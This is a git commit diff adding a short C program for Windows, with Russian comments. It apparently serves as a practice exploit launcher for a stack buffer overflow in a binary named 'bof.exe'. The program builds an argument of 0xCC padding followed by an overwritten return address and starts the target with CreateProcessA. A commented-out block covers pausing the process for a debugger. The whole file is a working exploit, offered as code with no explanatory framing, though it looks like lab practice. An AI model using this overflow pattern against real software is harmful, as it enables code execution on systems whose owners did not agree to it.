v0.1 - initial commit
This commit is contained in:
@@ -0,0 +1,67 @@
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
|
||||
int main()
|
||||
{
|
||||
|
||||
char payload[] = {
|
||||
"\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC"
|
||||
"\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC"
|
||||
"\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC"
|
||||
"\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC"
|
||||
"\xF8\x0E\x7E\x77"
|
||||
};
|
||||
|
||||
char commandLine[] = "bof.exe ";
|
||||
|
||||
size_t neededSize = strlen(commandLine) + strlen(payload) + 1;
|
||||
|
||||
char* fin = (char*)malloc(neededSize);
|
||||
|
||||
snprintf(fin, neededSize, "%s%s", commandLine, payload);
|
||||
|
||||
STARTUPINFOA si;
|
||||
PROCESS_INFORMATION pi;
|
||||
|
||||
ZeroMemory(&si, sizeof(si));
|
||||
si.cb = sizeof(si);
|
||||
ZeroMemory(&pi, sizeof(pi));
|
||||
|
||||
BOOL success = CreateProcessA(
|
||||
NULL, // Имя модуля (используем командную строку)
|
||||
fin, // Командная строка (включая аргументы)
|
||||
NULL, // Атрибуты безопасности процесса
|
||||
NULL, // Атрибуты безопасности потока
|
||||
FALSE, // Наследование дескрипторов
|
||||
0, //CREATE_SUSPENDED, // КРИТИЧЕСКИЙ ФЛАГ, сразу либо зависнет
|
||||
NULL, // Окружение
|
||||
NULL, // Текущий каталог
|
||||
&si, // Указатель на STARTUPINFO
|
||||
&pi // Указатель на PROCESS_INFORMATION
|
||||
);
|
||||
|
||||
/* if (!success) {
|
||||
printf("[FAIL] Не удалось создать процесс. Ошибка: %lu\n", GetLastError());
|
||||
return 1;
|
||||
}
|
||||
|
||||
printf("[SUCCESS] Процесс запущен! PID: %lu\n", pi.dwProcessId);
|
||||
printf("[*] Сейчас самое время подключиться дебаггером (WinDbg/x64dbg) к PID %lu\n", pi.dwProcessId);
|
||||
|
||||
|
||||
printf("Нажми ENTER, чтобы возобновить поток и отправить инпут...\n");
|
||||
getchar();
|
||||
|
||||
// Оживляем главный поток процесса
|
||||
printf("[*] Возобновление потока...\n");
|
||||
ResumeThread(pi.hThread);
|
||||
*/
|
||||
// Закрываем дескрипторы (они больше не нужны нашему лоадеру)
|
||||
|
||||
|
||||
CloseHandle(pi.hProcess);
|
||||
CloseHandle(pi.hThread);
|
||||
|
||||
free(fin);
|
||||
return 0;
|
||||
}
|
||||
Reference in New Issue
Block a user